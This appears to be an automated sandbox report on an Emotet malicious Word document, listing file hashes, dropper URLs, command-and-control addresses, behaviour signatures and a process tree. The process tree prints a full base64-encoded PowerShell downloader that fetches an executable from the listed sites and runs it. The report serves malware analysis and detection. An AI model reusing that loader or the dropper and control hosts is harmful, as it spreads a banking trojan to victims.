Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    113s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    28-07-2020 19:47

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General

  • Target

    emotet_e3_4e5eeda4b4dfb6044cb7795546c201137ebe9c60642960a3f99510450c8093d9_2020-07-28__194709._doc.doc

  • Size

    168KB

  • MD5

    5425f965b119f3d8121ec6ba6b588ba1

  • SHA1

    e79da5c3c3279ff8453a1f541b03a86942931d4b

  • SHA256

    4e5eeda4b4dfb6044cb7795546c201137ebe9c60642960a3f99510450c8093d9

  • SHA512

    18ff5b42aff7c275b0c1f3f55c268394e37e27250fe2633039247468b4524c59f78b486251620cc98a8421decd443ff1c50a525c6d2c9515c8d187738c63ac3e

Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://w3art.com/dtla/bBmTEkbPK/
exe.dropper

http://www.stempora.com/@mer/ybV/
exe.dropper

http://sundaystudio.net/cgi-bin/bzsvy9778486/
exe.dropper

http://sujest.com/BL/nQsQRv/
exe.dropper

http://studiotoybox.com/common/qezZSZB/

Extracted

Family

emotet

C2

177.37.81.212:443

74.207.230.187:8080

190.164.75.175:80

87.252.100.28:80

105.209.239.55:80

163.172.107.70:8080

37.208.106.146:8080

24.157.25.203:80

212.112.113.235:80

140.207.113.106:443

75.139.38.211:80

192.210.217.94:8080

46.49.124.53:80

75.127.14.170:8080

87.106.231.60:8080

139.59.12.63:8080

181.167.35.84:80

201.214.108.231:80

74.208.173.91:8080

189.146.1.78:443
rsa_pubkey.plain

Signatures

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Modifies registry class 280 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_4e5eeda4b4dfb6044cb7795546c201137ebe9c60642960a3f99510450c8093d9_2020-07-28__194709._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:316
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABZAFUATgBDAEwAbABoAHgAPQAnAEUASQBBAFYARQB2AHgAdgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABjAGAAVQBSAEkAVAB5AGAAUAByAE8AdABvAGAAYwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABSAE4ATgBZAEoAawB4AG8AIAA9ACAAJwA5ADIAMAAnADsAJABXAEYAVQBQAEMAZQBnAHMAPQAnAFkATgBTAEIATgBwAGwAcwAnADsAJABBAEsAWgBUAEkAdQBkAHYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFIATgBOAFkASgBrAHgAbwArACcALgBlAHgAZQAnADsAJABYAFkATgBNAEwAcwB6AG0APQAnAFcASgBSAEEATwBtAG8AcwAnADsAJABIAEMARwBPAEgAagB2AGkAPQAmACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBlAEIAYwBMAGkAZQBuAHQAOwAkAFEATwBQAFMAWAB3AHkAZwA9ACcAaAB0AHQAcAA6AC8ALwB3ADMAYQByAHQALgBjAG8AbQAvAGQAdABsAGEALwBiAEIAbQBUAEUAawBiAFAASwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHMAdABlAG0AcABvAHIAYQAuAGMAbwBtAC8AQABtAGUAcgAvAHkAYgBWAC8AKgBoAHQAdABwADoALwAvAHMAdQBuAGQAYQB5AHMAdAB1AGQAaQBvAC4AbgBlAHQALwBjAGcAaQAtAGIAaQBuAC8AYgB6AHMAdgB5ADkANwA3ADgANAA4ADYALwAqAGgAdAB0AHAAOgAvAC8AcwB1AGoAZQBzAHQALgBjAG8AbQAvAEIATAAvAG4AUQBzAFEAUgB2AC8AKgBoAHQAdABwADoALwAvAHMAdAB1AGQAaQBvAHQAbwB5AGIAbwB4AC4AYwBvAG0ALwBjAG8AbQBtAG8AbgAvAHEAZQB6AFoAUwBaAEIALwAnAC4AIgBzAGAAUABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEUARQBLAFkARgB0AGQAeQA9ACcATABIAE4ARwBTAGQAeQB4ACcAOwBmAG8AcgBlAGEAYwBoACgAJABYAFcAQwBZAEIAbABrAG0AIABpAG4AIAAkAFEATwBQAFMAWAB3AHkAZwApAHsAdAByAHkAewAkAEgAQwBHAE8ASABqAHYAaQAuACIAZABPAGAAVwBuAEwATwBgAEEAZABgAEYAaQBMAGUAIgAoACQAWABXAEMAWQBCAGwAawBtACwAIAAkAEEASwBaAFQASQB1AGQAdgApADsAJABWAEsAVQBCAFEAcABsAGoAPQAnAEwAWQBaAEcATQB1AHoAaAAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEEASwBaAFQASQB1AGQAdgApAC4AIgBsAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADMAMAA1ADAAMQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAEUAYABBAGAAVABFACIAKAAkAEEASwBaAFQASQB1AGQAdgApADsAJABaAFMAVQBJAE0AZABuAGUAPQAnAFEAUgBPAEIAUQBtAHMAaQAnADsAYgByAGUAYQBrADsAJABDAE4AVgBNAFYAawByAGEAPQAnAEYAVQBTAEgATABwAGsAeAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABCAEIASQBZAEQAbABnAHQAPQAnAFgAVwBJAFQAVQBtAGQAZQAnAA==
    1⤵
    • Blacklisted process makes network request
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in System32 directory
    PID:1720
  • C:\Users\Admin\920.exe
    C:\Users\Admin\920.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    PID:1896
    • C:\Windows\SysWOW64\tzres\KBDIC.exe
      "C:\Windows\SysWOW64\tzres\KBDIC.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1580

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/316-5-0x000000000AAD0000-0x000000000AAD4000-memory.dmp

    Filesize

    16KB

    Download

  • memory/316-6-0x000000000BC30000-0x000000000BC34000-memory.dmp

    Filesize

    16KB

    Download

  • memory/316-7-0x0000000007060000-0x0000000007260000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/316-8-0x0000000007060000-0x0000000007260000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/316-2-0x0000000008990000-0x0000000008994000-memory.dmp

    Filesize

    16KB

    Download

  • memory/316-4-0x0000000007060000-0x0000000007260000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/316-3-0x0000000007060000-0x0000000007260000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1580-14-0x0000000000200000-0x000000000020C000-memory.dmp

    Filesize

    48KB

    Download

  • memory/1896-10-0x00000000002E0000-0x00000000002EC000-memory.dmp

    Filesize

    48KB

    Download